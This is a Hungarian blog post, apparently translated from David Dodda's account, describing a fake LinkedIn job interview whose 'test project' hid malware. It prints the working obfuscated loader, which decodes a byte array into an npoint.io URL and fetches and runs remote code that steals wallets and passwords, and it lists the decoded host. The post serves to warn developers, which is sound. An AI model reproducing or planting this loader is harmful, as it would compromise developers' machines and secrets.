„Már csak 30 másodperc választott el attól, hogy malware-t futtassak a gépemen.” Ez a mondat jól összefoglalja azt a veszélyes helyzetet, amelybe nemrégiben kerültem, amikor egy látszólag legitim blockchain cég hamis kódinterjúján keresztül próbáltak meg megfertőzni. Ebben a cikkben részletesen bemutatom, hogyan zajlott az átverés, milyen jelekre kell figyelni, és miért fontos minden fejlesztő számára, hogy tudatosan védekezzen az ilyen támadások ellen.
A kezdet: a látszólagos lehetőség
Történt mindez múlt héten, amikor kaptam egy LinkedIn üzenetet Mykola Yanchii-tól, aki a Symfa nevű cég Chief Blockchain Officer-je volt. A profilja valódi volt: több mint 1000 kapcsolattal, részletes munkatörténettel és professzionális megjelenéssel. A cég is létezett, volt LinkedIn oldaluk, alkalmazottaik és rendszeres posztjaik a blockchain technológia ingatlanpiacra gyakorolt hatásáról.
Az üzenet professzionális és meggyőző volt:
„A BestCity nevű platformot fejlesztjük, amely forradalmasítja az ingatlanfolyamatokat. Részmunkaidős pozíciók elérhetők, rugalmas munkarenddel.”
Mivel több mint 8 éve dolgozom szabadúszóként webalkalmazások fejlesztésén és kódellenőrzéseken vettem részt, általában nagyon óvatos vagyok biztonsági szempontból – vagy legalábbis azt hittem.
A csali: a „tesztprojekt”
A megbeszélés előtt Mykola elküldött egy „tesztprojektet”, ami a technikai interjúk szokásos része. Egy React/Node.js alapú kódot kellett átnéznem és 30 perc alatt értékelték volna a tudásomat. A Bitbucket tárhely professzionálisnak tűnt: tiszta README fájl, részletes dokumentáció és még egy jellegzetes céges stock fotó is szerepelt rajta – egy nő tablettel egy ház előtt.
Itt követtem majdnem el a hibát: késésben voltam az interjúról, így csak gyorsan átfutottam a kódot anélkül, hogy futtatni kezdtem volna azt izolált környezetben. Általában minden új kódot sandboxban vagy Docker konténerben tesztelek, de most siettem.
30 perc alatt javítottam néhány nyilvánvaló hibát, hozzáadtam egy docker-compose fájlt és kitakarítottam a kódot – készen álltam arra, hogy futtassam és bemutassam az eredményt.
A felismerés: gyanús kódrészlet
Mielőtt lefuttattam volna az alkalmazást az npm start paranccsal, egy utolsó pillanatnyi ösztön vezérelt arra, hogy megkérjem az AI-alapú kódsegítőmet (Cursor AI), hogy nézze át a kódot gyanús részek után kutatva:
„Futtatás előtt nézd meg kérlek, van-e olyan kódrészlet, ami fájlokat olvasna jogosulatlanul vagy kriptotárcákhoz férne hozzá.”
<pés a="" ekkor="" felfedezés:
(async() => {
const byteArray = [104,116,116,112,115,58,47,47,97,112,105,46,110,112,111,
105,110,116,46,105,111,47,50,99,52,53,56,54,
49,50,51,57,99,51,98,50,
48,51,
49,
102,
98,
57];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
newFunction("require", response.data.model)(require);
})
.catch(error => { });
})();
A kód obfuszkált (elrejtett), alattomos és rosszindulatú volt. Egy Node.js szerveroldali vezérlőfájlban (server/controllers/userController.js) rejtőzött el – teljes adminisztrátori jogosultságokkal készült arra az esetre, ha az admin funkciókat elérnék.
A malware nyomában
A byte tömböt dekódolva ezt az URL-t kaptam:
- https://api.npoint.io/2c458612399c3b2031fb9
Amikor először meglátogattam ezt az URL-t élő volt – letöltöttem a payloadot (rosszindulatú programot), amely minden érzékeny adatot ellopott volna: kriptotárcákat, fájlokat és jelszavakat.
Az URL pontosan 24 órával később megszűnt működni – ez arra utalhatott, hogy a támadók gyorsan törölték bizonyítékaikat.
A payloadot VirusTotal-on is ellenőriztem – az elemzés szerint rendkívül veszélyes volt.
A csalás mögötti művelet
- LinkedIn profil: Mykola Yanchii teljesen valósnak tűnt. Vezető blockchain szakemberként mutatta be magát hiteles munkatörténettel és tipikus LinkedIn posztokkal.
- Cégprofil: A Symfa rendelkezett hivatalos LinkedIn oldallal profi arculattal és több alkalmazottal. Posztjaik hitelesnek tűntek.
- Kezdeményezés: Nem volt semmi gyanús az első kapcsolatfelvételben – udvarias nyelvezet és reális projektfeladatok.
- Kártékony kód: A rosszindulatú program szerveroldali vezérlőben helyezkedett el úgy, hogy adminisztrátori jogosultságokkal futott volna le.
A pszichológia mögötte – miért működött majdnem?
- Sürgősség érzete: „Fejezd be a tesztet mielőtt találkozunk” – ez nyomást gyakorolt rám.
- Hitelesnek tűnő személy: Valódi LinkedIn profil és cégoldal miatt nem gyanakodtam.
- Ismert formátum: Szokványos otthoni kódteszt – minden fejlesztő találkozott már ilyennel.
- Társadalmi bizonyíték: Valódi cég oldalával és alkalmazottaival erősítették meg hitelességüket.
A tanulság: hogyan védekezzünk?
Egyetlen egyszerű AI-alapú lekérdezés mentette meg a gépem és adataim biztonságát. Nem drága vírusirtók vagy bonyolult biztonsági eszközök – csak egy gyors kérdés arra vonatkozóan: „Van-e gyanús kódrészlet?”
A legveszélyesebb támadási forma pont azoknak szól akik naponta futtatnak ismeretlen forrásból származó kódokat: GitHub repókban lévő projekteket vagy npm csomagokat. Sok fejlesztő nem használ izolált környezetet minden esetben – pedig ez létfontosságú lehet.
A fenyegetés mérete
- Célpontok: Fejlesztők gépei ideálisak támadásokhoz; ezek tartalmazhatják a kulcsokat adatbázisokhoz vagy kriptotárcákhoz.
- Kifinomultság: Többrétegű obfuszkációval és távoli payload letöltéssel dolgoznak.
- Következmények: Egy sikeres fertőzés akár több nagyvállalat termelési rendszereit is veszélyeztetheti milliós kripto vagyonokkal együtt.
Záró gondolatok fejlesztőknek
- Minden ismeretlen kódot sandboxban futtass! Használj Docker konténereket vagy virtuális gépeket – soha ne közvetlenül főgépen tesztelj!
- Használj AI-t vagy automatizált eszközöket gyanús minták keresésére! Ez pár másodpercet vesz igénybe és életmentő lehet.
- Ellenőrizz mindent alaposan! Egy valós LinkedIn profil nem garantál valódi személyt vagy céget.
- Bízz az ösztöneidben! Ha valaki sürgeti a kód futtatását vagy túlzott nyomást gyakorol rád – legyen ez piros zászló!
Egy ilyen kifinomult csalás még engem is majdnem becsapott – pedig paranoiás vagyok ilyen ügyekben. Egyetlen óvatos pillanat és egy egyszerű AI lekérdezés azonban leleplezte őket.
Ha legközelebb kapsz egy „kódinterjú kihívást” LinkedIn-en keresztül – jusson eszedbe ez a történet.
A kriptotárcád hálás lesz érte!
Forrás: https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview